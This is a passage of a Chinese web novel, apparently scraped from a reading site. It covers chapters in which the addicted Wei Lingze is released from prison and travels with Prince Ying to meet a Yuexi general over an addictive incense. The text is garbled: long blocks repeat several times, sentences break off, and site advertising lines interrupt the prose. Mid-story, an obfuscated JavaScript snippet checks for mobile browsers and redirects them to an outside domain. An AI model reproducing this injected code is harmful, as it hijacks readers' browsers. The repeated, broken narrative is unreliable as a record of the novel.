这和他们初次见面的场景实在相差甚远。 卫凌泽垂下眼皮,不愿看沈清渊的脸,他等着沈清渊主动讯问,亦或者直接宣判他的罪行,然而下一刻,却听到沈清渊说:“侄婿,事情已经查清楚了,你可以走了。” 他……可以走了? 就算他极力克制,沈清渊应该也看出他染上销魂香了吧? 宝华郡主的死闹得那样大,沈清渊没有查出销魂香有问题吗? 沈清渊怎么不趁这个机会彻底把他踩进泥里? 卫凌泽有些反应不过来,沈清渊却已吩咐狱卒来扶他。 大理寺外,阳光明媚,卫凌泽感觉自己像是阴沟里的老鼠,猛然见到阳光,浑身的皮肤都被阳光灼得发疼。 他闭上眼睛,眼角不受控制地落下泪来。 岚舒在这时撑着伞来到他面前,惊声叫道:“卫大公子,你怎么哭了?里面的人可是对你用刑了?他们的胆子未免也太大了。” 这声音实在聒噪刺耳,卫凌泽睁开眼,瞪着岚舒:“谁让你来的?” 岚舒扭头努努嘴说:“王爷亲自来接公子了,就等着为公子去去晦气呢。” 怪。 恒阳公主当即点头:“好啊,正好入了夏,公主府的荷花就要开了,我可以邀请大家来赏荷。” 恒阳公主说着就要让人去准备请帖,萧清禾柔声道:“宴会只有一场,若是有人感觉到要发作,提前离席也不能把人拦住,就算咱们看出有人不对劲,也不能挨个上门去找,最好还是让她们主动来找我们。” 春喜也知道自己的想法不够周全,被萧清禾指出来后,她没有觉得丢脸,高兴地追问:“禾儿有什么好想法?” 被春喜的眼神鼓舞,萧清禾继续道:“我觉得公主可以说自己做了胎梦,预感自己要生女儿,准备提前在公主府设立一个女子学堂,为腹中孩子挑选一些女先生,这些女先生日后可以被特封为女官,这个消息一传出去,必然有很多人强迫脑袋想见公主,这样不仅可以慢慢观察,甚至可以让她们暂时住在公主府。” 春喜高兴地抓住萧清禾的手:“禾儿,你好聪明啊,这个法子实在是太好了!” 恒阳公主忍不住感叹:“卫凌泽没有好好珍惜你,真是瞎了眼了。” 萧清禾早已释怀,听到卫凌泽的名字也没什么波动,只弯眸淡淡地笑了一下。 与此同时,大理寺天牢里。 卫凌泽从梦中醒来。 他又梦到了禾儿。 这一次的梦不大好,他梦到那日在书房,他不顾禾儿的意愿强行把她压在书桌上,禾儿流了很多的血,最终在他身下,死不瞑目。 梦境并不真实,但最后禾儿死死瞪着他的那双眼睛却在脑海挥之不去,刺得卫凌泽的脑仁儿一阵阵发疼。 卫凌泽抬手揉了揉额头,这时耳边传来哗啦的铁链声。 偏头,牢门打开,沈清渊走了进来。 直到这时,卫凌泽这才清醒过来。 他没在家里,而是和太傅府的人一起被沈清渊带进了大理寺。 不过沈清渊没有急着审问他,只是把他关在这里。 大理寺的牢房昏暗潮湿,不见天日,**自己在这里待了多久,只记得销魂香的瘾又发作了一次。 他很难受,生不如死,但为了不让沈清渊看到,他咬着牙死死忍着,后来就晕**过去。 随着意识回笼,那种像是附在骨头里的难受也跟着回来,四肢虚软的厉害,胃里更是一阵阵恶心反胃。 卫凌泽分不清这恶心是因为难受,还是因为如此狼狈不堪的自己。 尤其是现在,沈清渊穿着一身官服高高在上地站在他面前,而他是连靠自己站起来都做不到的阶下囚。 这和他们初次见面的场景实在相差甚远。 卫凌泽垂下眼皮,不愿看沈清渊的脸,他等着沈清渊主动讯问,亦或者直接宣判他的罪行,然而下一刻,却听到沈清渊说:“侄婿,事情已经查清楚了,你可以走了。” 他……可以走了? 就算他极力克制,沈清渊应该也看出他染上销魂香了吧? 宝华郡主的死闹得那样大,沈清渊没有查出销魂香有问题吗? 沈清渊怎么不趁这个机会彻底把他踩进泥里? 卫凌泽有些反应不过来,沈清渊却已吩咐狱卒来扶他。 大理寺外,阳光明媚,卫凌泽感觉自己像是阴沟里的老鼠,猛然见到阳光,浑身的皮肤都被阳光灼得发疼。 他闭上眼睛,眼角不受控制地落下泪来。 岚舒在这时撑着伞来到他面前,惊声叫道:“卫大公子,你怎么哭了?里面的人可是对你用刑了?他们的胆子未免也太大了。” 这声音实在聒噪刺耳,卫凌泽睁开眼,瞪着岚舒:“谁让你来的?” 岚舒扭头努努嘴说:“王爷亲自来接公子了,就等着为公子去去晦气呢。” 怪。 恒阳公主当即点头:“好啊,正好入了夏,公主府的荷花就要开了,我可以邀请大家来赏荷。” 恒阳公主说着就要让人去准备请帖,萧清禾柔声道:“宴会只有一场,若是有人感觉到要发作,提前离席也不能把人拦住,就算咱们看出有人不对劲,也不能挨个上门去找,最好还是让她们主动来找我们。” 春喜也知道自己的想法不够周全,被萧清禾指出来后,她没有觉得丢脸,高兴地追问:“禾儿有什么好想法?” 被春喜的眼神鼓舞,萧清禾继续道:“我觉得公主可以说自己做了胎梦,预感自己要生女儿,准备提前在公主府设立一个女子学堂,为腹中孩子挑选一些女先生,这些女先生日后可以被特封为女官,这个消息一传出去,必然有很多人强迫脑袋想见公主,这样不仅可以慢慢观察,甚至可以让她们暂时住在公主府。” 春喜高兴地抓住萧清禾的手:“禾儿,你好聪明啊,这个法子实在是太好了!” 恒阳公主忍不住感叹:“卫凌泽没有好好珍惜你,真是瞎了眼了。” 萧清禾早已释怀,听到卫凌泽的名字也没什么波动,只弯眸淡淡地笑了一下。 与此同时,大理寺天牢里。 卫凌泽从梦中醒来。 他又梦到了禾儿。 这一次的梦不大好,他梦到那日在书房,他不顾禾儿的意愿强行把她压在书桌上,禾儿流了很多的血,最终在他身下,死不瞑目。 梦境并不真实,但最后禾儿死死瞪着他的那双眼睛却在脑海挥之不去,刺得卫凌泽的脑仁儿一阵阵发疼。 卫凌泽抬手揉了揉额头,这时耳边传来哗啦的铁链声。 偏头,牢门打开,沈清渊走了进来。 直到这时,卫凌泽这才清醒过来。 他没在家里,而是和太傅府的人一起被沈清渊带进了大理寺。 不过沈清渊没有急着审问他,只是把他关在这里。 大理寺的牢房昏暗潮湿,不见天日,**自己在这里待了多久,只记得销魂香的瘾又发作了一次。 他很难受,生不如死,但为了不让沈清渊看到,他咬着牙死死忍着,后来就晕**过去。 随着意识回笼,那种像是附在骨头里的难受也跟着回来,四肢虚软的厉害,胃里更是一阵阵恶心反胃。 卫凌泽分不清这恶心是因为难受,还是因为如此狼狈不堪的自己。 尤其是现在,沈清渊穿着一身官服高高在上地站在他面前,而他是连靠自己站起来都做不到的阶下囚。 这和他们初次见面的场景实在相差甚远。 卫凌泽垂下眼皮,不愿看沈清渊的脸,他等着沈清渊主动讯问,亦或者直接宣判他的罪行,然而下一刻,却听到沈清渊说:“侄婿,事情已经查清楚了,你可以走了。” 他……可以走了? 就算他极力克制,沈清渊应该也看出他染上销魂香了吧? 宝华郡主的死闹得那样大,沈清渊没有查出销魂香有问题吗? 沈清渊怎么不趁这个机会彻底把他踩进泥里? 卫凌泽有些反应不过来,沈清渊却已吩咐狱卒来扶他。 大理寺外,阳光明媚,卫凌泽感觉自己像是阴沟里的老鼠,猛然见到阳光,浑身的皮肤都被阳光灼得发疼。 他闭上眼睛,眼角不受控制地落下泪来。 岚舒在这时撑着伞来到他面前,惊声叫道:“卫大公子,你怎么哭了?里面的人可是对你用刑了?他们的胆子未免也太大了。” 这声音实在聒噪刺耳,卫凌泽睁开眼,瞪着岚舒:“谁让你来的?” 岚舒扭头努努嘴说:“王爷亲自来接公子了,就等着为公子去去晦气呢。” 怪。 恒阳公主当即点头:“好啊,正好入了夏,公主府的荷花就要开了,我可以邀请大家来赏荷。” 恒阳公主说着就要让人去准备请帖,萧清禾柔声道:“宴会只有一场,若是有人感觉到要发作,提前离席也不能把人拦住,就算咱们看出有人不对劲,也不能挨个上门去找,最好还是让她们主动来找我们。” 春喜也知道自己的想法不够周全,被萧清禾指出来后,她没有觉得丢脸,高兴地追问:“禾儿有什么好想法?” 被春喜的眼神鼓舞,萧清禾继续道:“我觉得公主可以说自己做了胎梦,预感自己要生女儿,准备提前在公主府设立一个女子学堂,为腹中孩子挑选一些女先生,这些女先生日后可以被特封为女官,这个消息一传出去,必然有很多人强迫脑袋想见公主,这样不仅可以慢慢观察,甚至可以让她们暂时住在公主府。” 春喜高兴地抓住萧清禾的手:“禾儿,你好聪明啊,这个法子实在是太好了!” 恒阳公主忍不住感叹:“卫凌泽没有好好珍惜你,真是瞎了眼了。” 萧清禾早已释怀,听到卫凌泽的名字也没什么波动,只弯眸淡淡地笑了一下。 与此同时,大理寺天牢里。 卫凌泽从梦中醒来。 他又梦到了禾儿。 这一次的梦不大好,他梦到那日在书房,他不顾禾儿的意愿强行把她压在书桌上,禾儿流了很多的血,最终在他身下,死不瞑目。 梦境并不真实,但最后禾儿死死瞪着他的那双眼睛却在脑海挥之不去,刺得卫凌泽的脑仁儿一阵阵发疼。 卫凌泽抬手揉了揉额头,这时耳边传来哗啦的铁链声。 偏头,牢门打开,沈清渊走了进来。 直到这时,卫凌泽这才清醒过来。 他没在家里,而是和太傅府的人一起被沈清渊带进了大理寺。 不过沈清渊没有急着审问他,只是把他关在这里。 大理寺的牢房昏暗潮湿,不见天日,**自己在这里待了多久,只记得销魂香的瘾又发作了一次。 他很难受,生不如死,但为了不让沈清渊看到,他咬着牙死死忍着,后来就晕**过去。 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梦境并不真实,但最后禾儿死死瞪着他的那双眼睛却在脑海挥之不去,刺得卫凌泽的脑仁儿一阵阵发疼。 卫凌泽抬手揉了揉额头,这时耳边传来哗啦的铁链声。 偏头,牢门打开,沈清渊走了进来。 直到这时,卫凌泽这才清醒过来。 他没在家里,而是和太傅府的人一起被沈清渊带进了大理寺。 不过沈清渊没有急着审问他,只是把他关在这里。 大理寺的牢房昏暗潮湿,不见天日,**自己在这里待了多久,只记得销魂香的瘾又发作了一次。 他很难受,生不如死,但为了不让沈清渊看到,他咬着牙死死忍着,后来就晕**过去。 随着意识回笼,那种像是附在骨头里的难受也跟着回来,四肢虚软的厉害,胃里更是一阵阵恶心反胃。 卫凌泽分不清这恶心是因为难受,还是因为如此狼狈不堪的自己。 尤其是现在,沈清渊穿着一身官服高高在上地站在他面前,而他是连靠自己站起来都做不到的阶下囚。 这和他们初次见面的场景实在相差甚远。 卫凌泽垂下眼皮,不愿看沈清渊的脸,他等着沈清渊主动讯问,亦或者直接宣判他的罪行,然而下一刻,却听到沈清渊说:“侄婿,事情已经查清楚了,你可以走了。” 他……可以走了? 就算他极力克制,沈清渊应该也看出他染上销魂香了吧? 宝华郡主的死闹得那样大,沈清渊没有查出销魂香有问题吗? 沈清渊怎么不趁这个机会彻底把他踩进泥里? 卫凌泽有些反应不过来,沈清渊却已吩咐狱卒来扶他。 大理寺外,阳光明媚,卫凌泽感觉自己像是阴沟里的老鼠,猛然见到阳光,浑身的皮肤都被阳光灼得发疼。 他闭上眼睛,眼角不受控制地落下泪来。 岚舒在这时撑着伞来到他面前,惊声叫道:“卫大公子,你怎么哭了?里面的人可是对你用刑了?他们的胆子未免也太大了。” 这声音实在聒噪刺耳,卫凌泽睁开眼,瞪着岚舒:“谁让你来的?” 岚舒扭头努努嘴说:“王爷亲自来接公子了,就等着为公子去去晦气呢。” 怪。 恒阳公主当即点头:“好啊,正好入了夏,公主府的荷花就要开了,我可以邀请大家来赏荷。” 恒阳公主说着就要让人去准备请帖,萧清禾柔声道:“宴会只有一场,若是有人感觉到要发作,提前离席也不能把人拦住,就算咱们看出有人不对劲,也不能挨个上门去找,最好还是让她们主动来找我们。” 春喜也知道自己的想法不够周全,被萧清禾指出来后,她没有觉得丢脸,高兴地追问:“禾儿有什么好想法?” 被春喜的眼神鼓舞,萧清禾继续道:“我觉得公主可以说自己做了胎梦,预感自己要生女儿,准备提前在公主府设立一个女子学堂,为腹中孩子挑选一些女先生,这些女先生日后可以被特封为女官,这个消息一传出去,必然有很多人强迫脑袋想见公主,这样不仅可以慢慢观察,甚至可以让她们暂时住在公主府。” 春喜高兴地抓住萧清禾的手:“禾儿,你好聪明啊,这个法子实在是太好了!” 恒阳公主忍不住感叹:“卫凌泽没有好好珍惜你,真是瞎了眼了。” 萧清禾早已释怀,听到卫凌泽的名字也没什么波动,只弯眸淡淡地笑了一下。 与此同时,大理寺天牢里。 卫凌泽从梦中醒来。 他又梦到了禾儿。 这一次的梦不大好,他梦到那日在书房,他不顾禾儿的意愿强行把她压在书桌上,禾儿流了很多的血,最终在他身下,死不瞑目。 梦境并不真实,但最后禾儿死死瞪着他的那双眼睛却在脑海挥之不去,刺得卫凌泽的脑仁儿一阵阵发疼。 卫凌泽抬手揉了揉额头,这时耳边传来哗啦的铁链声。 偏头,牢门打开,沈清渊走了进来。 直到这时,卫凌泽这才清醒过来。 他没在家里,而是和太傅府的人一起被沈清渊带进了大理寺。 不过沈清渊没有急着审问他,只是把他关在这里。 大理寺的牢房昏暗潮湿,不见天日,**自己在这里待了多久,只记得销魂香的瘾又发作了一次。 他很难受,生不如死,但为了不让沈清渊看到,他咬着牙死死忍着,后来就晕**过去。 随着意识回笼,那种像是附在骨头里的难受也跟着回来,四肢虚软的厉害,胃里更是一阵阵恶心反胃。 卫凌泽分不清这恶心是因为难受,还是因为如此狼狈不堪的自己。 尤其是现在,沈清渊穿着一身官服高高在上地站在他面前,而他是连靠自己站起来都做不到的阶下囚。 这和他们初次见面的场景实在相差甚远。 卫凌泽垂下眼皮,不愿看沈清渊的脸,他等着沈清渊主动讯问,亦或者直接宣判他的罪行,然而下一刻,却听到沈清渊说:“侄婿,事情已经查清楚了,你可以走了。” 他……可以走了? 就算他极力克制,沈清渊应该也看出他染上销魂香了吧? 宝华郡主的死闹得那样大,沈清渊没有查出销魂香有问题吗? 沈清渊怎么不趁这个机会彻底把他踩进泥里? 卫凌泽有些反应不过来,沈清渊却已吩咐狱卒来扶他。 大理寺外,阳光明媚,卫凌泽感觉自己像是阴沟里的老鼠,猛然见到阳光,浑身的皮肤都被阳光灼得发疼。 他闭上眼睛,眼角不受控制地落下泪来。 岚舒在这时撑着伞来到他面前,惊声叫道:“卫大公子,你怎么哭了?里面的人可是对你用刑了?他们的胆子未免也太大了。” 这声音实在聒噪刺耳,卫凌泽睁开眼,瞪着岚舒:“谁让你来的?” 岚舒扭头努努嘴说:“王爷亲自来接公子了,就等着为公子去去晦气呢。” 怪。 恒阳公主当即点头:“好啊,正好入了夏,公主府的荷花就要开了,我可以邀请大家来赏荷。” 恒阳公主说着就要让人去准备请帖,萧清禾柔声道:“宴会只有一场,若是有人感觉到要发作,提前离席也不能把人拦住,就算咱们看出有人不对劲,也不能挨个上门去找,最好还是让她们主动来找我们。” 春喜也知道自己的想法不够周全,被萧清禾指出来后,她没有觉得丢脸,高兴地追问:“禾儿有什么好想法?” 被春喜的眼神鼓舞,萧清禾继续道:“我觉得公主可以说自己做了胎梦,预感自己要生女儿,准备提前在公主府设立一个女子学堂,为腹中孩子挑选一些女先生,这些女先生日后可以被特封为女官,这个消息一传出去,必然有很多人强迫脑袋想见公主,这样不仅可以慢慢观察,甚至可以让她们暂时住在公主府。” 春喜高兴地抓住萧清禾的手:“禾儿,你好聪明啊,这个法子实在是太好了!” 恒阳公主忍不住感叹:“卫凌泽没有好好珍惜你,真是瞎了眼了。” 萧清禾早已释怀,听到卫凌泽的名字也没什么波动,只弯眸淡淡地笑了一下。 与此同时,大理寺天牢里。 卫凌泽从梦中醒来。 他又梦到了禾儿。 这一次的梦不大好,他梦到那日在书房,他不顾禾儿的意愿强行把她压在书桌上,禾儿流了很多的血,最终在他身下,死不瞑目。 梦境并不真实,但最后禾儿死死瞪着他的那双眼睛却在脑海挥之不去,刺得卫凌泽的脑仁儿一阵阵发疼。 卫凌泽抬手揉了揉额头,这时耳边传来哗啦的铁链声。 偏头,牢门打开,沈清渊走了进来。 直到这时,卫凌泽这才清醒过来。 他没在家里,而是和太傅府的人一起被沈清渊带进了大理寺。 不过沈清渊没有急着审问他,只是把他关在这里。 大理寺的牢房昏暗潮湿,不见天日,**自己在这里待了多久,只记得销魂香的瘾又发作了一次。 他很难受,生不如死,但为了不让沈清渊看到,他咬着牙死死忍着,后来就晕**过去。 随着意识回笼,那种像是附在骨头里的难受也跟着回来,四肢虚软的厉害,胃里更是一阵阵恶心反胃。 卫凌泽分不清这恶心是因为难受,还是因为如此狼狈不堪的自己。 尤其是现在,沈清渊穿着一身官服高高在上地站在他面前,而他是连靠自己站起来都做不到的阶下囚。 这和他们初次见面的场景实在相差甚远。 卫凌泽垂下眼皮,不愿看沈清渊的脸,他等着沈清渊主动讯问,亦或者直接宣判他的罪行,然而下一刻,却听到沈清渊说:“侄婿,事情已经查清楚了,你可以走了。” 他……可以走了? 就算他极力克制,沈清渊应该也看出他染上销魂香了吧? 宝华郡主的死闹得那样大,沈清渊没有查出销魂香有问题吗? 沈清渊怎么不趁这个机会彻底把他踩进泥里? 卫凌泽有些反应不过来,沈清渊却已吩咐狱卒来扶他。 大理寺外,阳光明媚,卫凌泽感觉自己像是阴沟里的老鼠,猛然见到阳光,浑身的皮肤都被阳光灼得发疼。 他闭上眼睛,眼角不受控制地落下泪来。 岚舒在这时撑着伞来到他面前,惊声叫道:“卫大公子,你怎么哭了?里面的人可是对你用刑了?他们的胆子未免也太大了。” 这声音实在聒噪刺耳,卫凌泽睁开眼,瞪着岚舒:“谁让你来的?” 岚舒扭头努努嘴说:“王爷亲自来接公子了,就等着为公子去去晦气呢。” 第313章 再去翁州 瑛王在王府准备了丰盛的酒菜,还亲自给卫凌泽斟酒。 不过卫凌泽没给瑛王好脸色,冷冷开口:“王爷有什么话可以直说,不用拐弯抹角,看着恶心。 上次卫凌泽来找瑛王要解药,结果销魂香的瘾正好发作,为了销魂香,他趴在地上像狗一样求了瑛王。 如今再见到瑛王,卫凌泽只觉得耻辱。 卫凌泽不给面子,瑛王并未生气,笑着道:“本王要去翁州一趟,你熟悉路线,从卫家挑一些身手高强的人,陪本王走一遭。 瑛王说得理直气壮,好像卫凌泽和卫家所有人都是随时可以供他差遣的。 卫凌泽皱紧眉头,刚要拒绝,又听到瑛王说:“宝华郡主的死闹得沸沸扬扬,无忧阁已停售销魂香,你若不答应,那这辈子都别想再得到销魂香。 瑛王说完,把斟满酒的酒杯往卫凌泽面前推了推。 卫凌泽才刚承受了一次瘾发,这会儿身体正虚弱难受着,虽然生气瑛王用销魂香威胁自己,到嘴边的拒绝却怎么都说不出口了。 岚舒适时递来台阶:“王爷不是要威胁卫大公子,而是要跟卫大公子合作,只要卫大公子这次能护得王爷周全,以后这销魂香要多少有多少,卫大公子不仅再也不用遭罪,还能跟着王爷一起赚钱,这其实是好事呀。 屁的好事。 如果不是岚舒给他用销魂香,他现在根本不用跟瑛王坐在一起,更不会受制于人。 卫凌泽凉凉地剜了岚舒一眼,端起酒杯对瑛王道:“我可以陪王爷去翁州走这一遭,但从翁州回来后,王爷得把这个人交给我处置。 卫凌泽话里杀意凛然,不知道是要把岚舒大卸八块还是要千刀万剐。 岚舒并不害怕,反而温笑着说:“小人这条命是王爷救的,只要卫大公子愿意为王爷效力,小人愿意听凭卫大公子处置。 瑛王走得急,三日后就要出发去翁州。 从王府出来,卫凌泽立刻回卫家召集人手。 “泽儿,你才刚回家,召集人手又要做什么?你在大理寺受刑没有?沈清渊为什么要抓你?你小姨和小姨父还好吗? 云氏满腔疑问,卫凌泽回答不了,只道:“我还要去翁州一趟,回来以后再跟你们解释。 “你又去翁州做什么呀?你要是遇到什么事就告诉娘,娘一起帮你想办法解决,你别一个人扛着。 云氏说着红了眼。 这段时日别人都在看卫凌泽的笑话,只有云氏心疼他遭受了许多打击 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 和挫折,整个人都憔悴下来。 见云氏如此,卫凌泽心中触动,但他没办法开口说自己染上了销魂香,沉默半晌才道:“娘,儿子之前做了很多糊涂事,等这次从翁州回来,儿子一定好好向父亲认错,儿子以后再也不会让娘担心了。 卫凌泽的语气诚恳,整个人也没了之前那股子浮躁戾气,云氏莫名心里一慌,眼泪顿时滚落下来。 她上前一步抓住卫凌泽的手追问:“你要去翁州做什么,这次去是不是会有危险? “没什么危险,卫凌泽避开云氏的目光,“我是去调查一些事的,若是顺利,也许能立功,回来以后还能再被陛下重用。 听到有机会立功,云氏心底的担忧少了些,她还想再问细节,卫凌泽抢先道:“好了娘,我累了,需要休息一下,若是爹发现我不在,还请娘帮我遮掩一二。 卫凌泽说完,行舟正好提来热水,见他眉眼之间皆是倦怠,云氏到底没再追问什么。 泽儿已经醒悟了,她应该再相信泽儿一次的。 ** 萧清禾和春喜还有恒阳公主细细商量了设立女子学堂的事,第二日恒阳公主就让人放出消息,萧清禾和春喜一起紧锣密鼓地筹备起来。 直到夜幕降临,萧清禾才和春喜一起走出公主府。 看着春喜的马车离开,萧清禾才准备上车,刚转身,却看到卫凌泽站在不远处静静地看着她。 好些日子不见,卫凌泽明显清瘦了许多,他穿了一身黑色衣衫,身形越发地瘦了。 感受到她的目光,卫凌泽抬腿朝这边走了过来。 萧清禾没动,并不刻意躲闪,倒是雀枝紧张地将她护在身后。 隔着两三步的距离,卫凌泽停下,带着生疏和紧张开口:“我想跟你说几句话,可以吗? 萧清禾明显感觉到卫凌泽身上有什么和之前不一样了,她点了点头,跟着卫凌泽来到街角。 刚站定,卫凌泽便开口道:“我去翁州一趟,经历了一些事,如今终于明白自己之前错得有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16228012|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多离谱,想了许久还是觉得欠你一句对不起。 卫凌泽语气诚恳,眼神里满是懊恼和疼惜。 那是萧清禾曾经最想要从他这里得到的东西,只可惜来得太迟了。 萧清禾淡淡道:“事情都已经过去了,我已经放下,你也没必要耿耿于怀。 萧清禾面容平静,眉眼之间皆是从容淡然。 她是真的放下了。 所以和离的时候不会因为他的执迷不悟再 听说看这本书的人都是很幸运的,分享后你的运气会更棒 动怒,如今也不会因为他的幡然悔改而动摇回头。 卫凌泽嘴里发苦,到底说不出挽留的话,沉默半晌憋出一句:“你最近……开心吗?” 萧清禾毫不犹豫地点头,弯了眉眼:“很开心。” 萧家所有人都对她很好,并不会因为和离之事苛责她,这两日和小婶婶还有公主一起忙着正事,更是无比的充实。 她不再为儿女情长所扰,才发现这世间是如此的辽阔,她有很多的时间去做她从前想都没有想过的事。 她很喜欢现在的生活。 萧清禾发自内心地笑得明媚。 “你开心就好,”卫凌泽受到感染跟着勾起唇角,而后又道,“我要离开瀚京一段时间,你以后别再去无忧阁了,那不是什么好地方,我知道我现在无权干涉你的事,我只是好意提醒,毕竟宝华郡主才出了事……” 许是怕被误会,卫凌泽的语速加快了些,萧清禾打断他:“多谢提醒,我知道分寸,还有事吗?” 没有了。 他们已经和离,过去的情谊也已耗尽,他找不到话题能再聊下去了。 卫凌泽心脏刺痛,摇头道:“没事了,时辰不早了,你回去吧。” 话落,萧清禾毫不犹豫地转身离开。 马车离开后,卫凌泽在原地站了很久很久,如同石像。 马车上,萧清禾发现了一只很精致的鸾凤金镯。 “咦?这是哪儿来的?奴婢刚刚一直守在马车上,并没有发现异常呀,要奴婢拿去还给卫公子吗?” 雀枝一脸惊奇,萧清禾眸光微闪,收下镯子淡淡道:“不用,应该不是他送的。” 雀枝更疑惑了。 除了卫公子,还有谁会送小姐镯子? 第314章 卫小将军,好久不见 一路快马加鞭,不过十日,卫凌泽和瑛王一行人就抵达了翁州。 距离卫凌泽上一次来,不过月余的时间,然而翁州却已经大变样。 城中商铺大都关了门,家家户户大门紧闭,街上行人神色匆匆,偶然碰到一两个在街上闲逛的,皆是神情癫狂,如同疯子。 “哎呀呀,这翁州城怎么如此破落,战事不是已经结束好些年了吗?” 岚舒撩着帘子看着外面,忍不住发出感叹,卫凌泽也觉得很奇怪,但没有接话。 瑛王舟车劳顿,早已疲惫不堪,只阖着眼养神,对这些事并不关心。 很快,马车来到州府府邸。 州府大人贺章早就得了信,早早地候在门口迎接:“下官见过王爷、卫公子,府中已备好薄酒接风,还请王爷莫要嫌弃。” 贺章满脸堆笑,姿态很低,全是讨好。 瑛王矜持地应了一声,踏入府中。 贺章准备的接风宴很丰盛,而且席间还有歌舞表演,酒乐一起,很容易就让人忘记翁州城中的凄凉场景。 几杯酒下肚,瑛王感觉疲乏少了很多,人也精神起来,在听到贺章询问他这次来的目的时,瑛王幽幽道:“我来寻一位制香师,问她要个制香方子。” “哦?不知那位制香师姓甚名谁,下官可以帮王爷把人找来。” 贺章愿意帮忙分忧,瑛王自然也不客气,开口道:“那位制香师叫白钰。” 贺章露出喜色:“真是太巧了,这位制香师此刻正在府上,还有她的朋友也在,下官这就带她来见王爷!” 不等瑛王回答,贺章一溜烟地跑走,卫凌泽皱了皱眉,不自觉探向腰间的剑。 千里迢迢,瑛王都要亲自来找这位制香师,结果他们才刚到,这位制香师就在州府大人的府上,世上怎会有这么巧的事? 卫凌泽已嗅到危险的味道,瑛王和岚舒却已完全沉浸在歌舞表演之中。 不多时,贺章折返回来,跟在他身后的,除了一位貌美的妙龄女子,还有一张熟悉的面孔。 轩辕朗! 几乎是身体本能的反应,卫凌泽猛然起身,拔剑直指轩辕朗:“使臣团不是早就已经回到越西了吗,你怎么还在这里?” 数月不见,轩辕朗的气色极好,周身的气势也更霸道强悍了些。 他并不介意被卫凌泽的剑指着,反而很满意卫凌泽的反应,用比冬猎时更熟练的昭陵话跟卫凌泽打招呼:“卫小将军,好久不见。” 轩辕朗说完又看向瑛王 :“王爷,别来无恙。” 相比卫凌泽的震惊失态,瑛王和岚舒都很镇定,毕竟他们早就从李怀景口中得知制香师是越西人,并且和轩辕朗有关系,所以并不意外会在这里看到轩辕朗。 瑛王端着亲王的架子没有起身,反客为主,做了个请的姿势:“轩辕将军,请坐。” 卫凌泽的剑还没移开,轩辕朗挑了下眉。 瑛王立刻开口:“轩辕将军是我们的朋友,把剑放下。” 卫凌泽脑袋都炸了,他扭头瞪着瑛王:“你早就知道销魂香是越西人制的,为什么还要让销魂香流入昭陵,你这是通敌叛国!” 亲身领略过销魂香的厉害,在看到轩辕朗的那一刻,卫凌泽只觉得浑身发冷,如坠冰窖。 销魂香出自越西,那轩辕朗的目的肯定不是为了赚钱。 这香若是大面积的流通,无数人都会因此变成人不人鬼不鬼的废物,这个时候越西在大举进兵,那昭陵就毫无招架之力了。 卫凌泽越想越觉得心惊后怕,瑛王却不以为意:“轩辕将军只是想用这香换取一些粟米罢了,你不要大惊小怪。” 售卖销魂香的盈利都进了瑛王和李怀景的口袋,轩辕朗确实只得到一点儿粟米,瑛王并不觉得这点儿粟米能起到祸国殃民的作用。 卫凌泽觉得瑛王简直不可理喻,他手腕一翻,就要提剑刺向轩辕朗,瑛王的护卫拦住了他。 岚舒跟着劝:“卫大公子,你别这么冲动,你都护送王爷来这里了,那咱们就是一条船上的人,王爷不会干通敌**的事,只是想做笔大买卖,带着大家赚钱呀。” 说着话,轩辕朗落了座。 他看着卫凌泽,叹了口气,有些可惜:“过去三年,我一直把卫小将军当成我的对手,上次见到卫小将军我很失望,没想到几个月过去,卫小将军还是一点儿改进都没有。” 轩辕朗的昭陵语流利了很多,这一番话,字字扎心。 轩辕朗说完又问瑛王:“上次冬猎那位沈大人可有升职,他现在在做什么?” 卫凌泽已经不配做他的对手了,他希望能有机会跟沈清渊较量一番。 轩辕朗的语气和态度刺痛了卫凌泽,不过在听到他提起沈清渊后,卫凌泽突然冷静下来。 销魂香害**宝华郡主,沈清渊有那么多年的断案经验,不可能一点儿察觉都没有。 也许他和瑛王此行,早在沈清渊的预料之中。 瑛王并不想浪费时间满足轩辕朗的八卦心理,他冷着脸道:“本王这次来,是要销魂香的另外一半制作方法,你把方子给本王,本王才会继续让人给你提供粟米。” 李怀景手里只有一半的制香方法,另外一半,还在轩辕朗手里捏着,瑛王想要垄断这门生意,不想受制于人,这才不远千里亲自来此。 听完瑛王有些急切的话,轩辕朗大声笑起来,一旁的白钰跟着笑,笑完还用越西语小声说了一句话。 瑛王听不懂,皱眉看向岚舒,岚舒打开折扇,凑到瑛王耳边小声道:“王爷,这女子刚刚骂你是蠢货。” 砰! 瑛王气得砸了酒杯:“放肆,本王愿意跟你们做生意是你们的荣幸,若是没有本王,你们制出来的香根本一文不值!” 瑛王很是愤怒,然而他话音刚落,带来的王府护卫便都被抹了脖子。 浓郁的血腥味在空气中弥漫开来。 州府贺章摇头道:“王爷,这是翁州,不是瀚京,在这里,没人敢跟轩辕将军这样说话。” :“王爷,别来无恙。” 相比卫凌泽的震惊失态,瑛王和岚舒都很镇定,毕竟他们早就从李怀景口中得知制香师是越西人,并且和轩辕朗有关系,所以并不意外会在这里看到轩辕朗。 瑛王端着亲王的架子没有起身,反客为主,做了个请的姿势:“轩辕将军,请坐。” 卫凌泽的剑还没移开,轩辕朗挑了下眉。 瑛王立刻开口:“轩辕将军是我们的朋友,把剑放下。” 卫凌泽脑袋都炸了,他扭头瞪着瑛王:“你早就知道销魂香是越西人制的,为什么还要让销魂香流入昭陵,你这是通敌叛国!” 亲身领略过销魂香的厉害,在看到轩辕朗的那一刻,卫凌泽只觉得浑身发冷,如坠冰窖。 销魂香出自越西,那轩辕朗的目的肯定不是为了赚钱。 这香若是大面积的流通,无数人都会因此变成人不人鬼不鬼的废物,这个时候越西在大举进兵,那昭陵就毫无招架之力了。 卫凌泽越想越觉得心惊后怕,瑛王却不以为意:“轩辕将军只是想用这香换取一些粟米罢了,你不要大惊小怪。” 